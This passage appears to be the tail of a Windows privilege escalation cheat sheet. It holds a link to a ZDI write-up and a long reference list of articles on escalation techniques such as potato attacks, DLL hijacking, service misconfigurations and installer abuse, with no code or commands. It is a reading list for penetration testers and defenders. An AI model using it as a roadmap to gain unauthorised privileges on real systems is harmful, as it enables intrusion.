Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege


## References

* [icacls - Docs Microsoft](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls)
* [Privilege Escalation Windows - Philip Linghammar](https://web.archive.org/web/20191231011305/https://xapax.gitbooks.io/security/content/privilege_escalation_windows.html)
* [Windows elevation of privileges - Guifre Ruiz](https://guif.re/windowseop)
* [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/)
* [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
* [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
* [TOP–10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
* [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/)
* [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
* [Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs](https://github.com/dostoevskylabs/dostoevsky-pentest-notes/blob/master/chapter-4.md)
* [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/)
* [Pentestlab.blog - WPE-01 - Stored Credentials](https://pentestlab.blog/2017/04/19/stored-credentials/)
* [Pentestlab.blog - WPE-02 - Windows Kernel](https://pentestlab.blog/2017/04/24/windows-kernel-exploits/)
* [Pentestlab.blog - WPE-03 - DLL Injection](https://pentestlab.blog/2017/04/04/dll-injection/)
* [Pentestlab.blog - WPE-04 - Weak Service Permissions](https://pentestlab.blog/2017/03/30/weak-service-permissions/)
* [Pentestlab.blog - WPE-05 - DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/)
* [Pentestlab.blog - WPE-06 - Hot Potato](https://pentestlab.blog/2017/04/13/hot-potato/)
* [Pentestlab.blog - WPE-07 - Group Policy Preferences](https://pentestlab.blog/2017/03/20/group-policy-preferences/)
* [Pentestlab.blog - WPE-08 - Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/)
* [Pentestlab.blog - WPE-09 - Always Install Elevated](https://pentestlab.blog/2017/02/28/always-install-elevated/) 
* [Pentestlab.blog - WPE-10 - Token Manipulation](https://pentestlab.blog/2017/04/03/token-manipulation/)
* [Pentestlab.blog - WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/)
* [Pentestlab.blog - WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/)
* [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/)
* [Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @_xpn_](https://blog.xpnsec.com/becoming-system/)
* [Living Off The Land Binaries and Scripts (and now also Libraries)](https://github.com/LOLBAS-Project/LOLBAS)
* [Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec](https://web.archive.org/web/20191105182846/https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html)
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)
* [Abusing Diaghub - xct - March 07, 2019](https://vulndev.io/2019/03/06/abusing-diaghub/)
* [Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018](https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html)
* [Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019](https://itm4n.github.io/usodllloader-part2/)
* [Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows](https://www.elladodelmal.com/2020/03/hacking-trick-environment-variable-path.html?m=1)
* [Abusing SeLoadDriverPrivilege for privilege escalation - 14 JUN 2018 - OSCAR MALLO](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
* [Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)](https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/)
* [ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS - March 17, 2022 | Simon Zuckerbraun](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)
* [Bypassing AppLocker by abusing HashInfo - 2022-08-19 - Ian](https://shells.systems/post-bypassing-applocker-by-abusing-hashinfo/)
* [Giving JuicyPotato a second chance: JuicyPotatoNG - @decoder_it, @splinter_code](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
* [IN THE POTATO FAMILY, I WANT THEM ALL - @BlWasp_ ](https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all)
* [Potatoes - Windows Privilege Escalation - Jorge Lajara - November 22, 2020](https://jlajara.gitlab.io/Potatoes_Windows_Privesc)
* [MSIFortune - LPE with MSI Installers - Oct 3, 2023 - PfiatDe](https://badoption.eu/blog/2023/10/03/MSIFortune.html)
* [MSI Shenanigans. Part 1 – Offensive Capabilities Overview - DECEMBER 8, 2022 - Mariusz Banach](https://mgeeky.tech/msi-shenanigans-part-1/)
* [Escalating Privileges via Third-Party Windows Installers - ANDREW OLIVEAU - JUL 19, 2023](https://www.mandiant.com/resources/blog/privileges-third-party-windows-installers)
* [Deleting Your Way Into SYSTEM: Why Arbitrary File Deletion Vulnerabilities Matter - ANDREW OLIVEAU - SEP 11, 2023](https://www.mandiant.com/resources/blog/arbitrary-file-deletion-vulnerabilities)
* [ABUSING ARBITRARY FILE DELETES TO ESCALATE PRIVILEGE AND OTHER GREAT TRICKS - Simon Zuckerbraun - March 17, 2022 ](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks)